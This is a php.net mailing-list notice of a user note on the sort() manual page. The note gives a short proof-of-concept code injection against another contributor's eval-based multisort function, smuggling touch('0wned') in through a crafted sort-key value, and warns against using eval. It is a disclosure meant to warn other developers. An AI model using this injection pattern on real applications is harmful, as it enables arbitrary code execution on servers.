note 96896 added to function.sort

From: Date: Sun, 21 Mar 2010 21:52:50 +0000
Subject: note 96896 added to function.sort
Groups: php.notes 
Request: Send a blank email to php-notes+get-167281@lists.php.net to get a copy of this message
Code Injection Exploit for SoftwareJonas's multisort function, below. <?php $sort = array( array( 'a' => '1', 'b' => '3'), array( 'a' => '2', 'b' => '1'), array( 'a' => '1', 'b' => '1')); //Lets assume this happens to be user-input data, which is a plausible scenario. $by=array("'],null);touch('0wned');//"); //Creates a file named "0wned" in the current directory. $result = multisort( $sort , $by ); ?> Eval is NEVER the answer. ;-) ---- Server IP: 69.147.83.197 Probable Submitter: 174.49.252.63 ---- Manual Page -- http://www.php.net/manual/en/function.sort.php Edit -- https://master.php.net/note/edit/96896 Del: integrated -- https://master.php.net/note/delete/96896/integrated Del: useless -- https://master.php.net/note/delete/96896/useless Del: bad code -- https://master.php.net/note/delete/96896/bad+code Del: spam -- https://master.php.net/note/delete/96896/spam Del: non-english -- https://master.php.net/note/delete/96896/non-english Del: in docs -- https://master.php.net/note/delete/96896/in+docs Del: other reasons-- https://master.php.net/note/delete/96896 Reject -- https://master.php.net/note/reject/96896 Search -- https://master.php.net/manage/user-notes.php

« previous php.notes (#167281) next »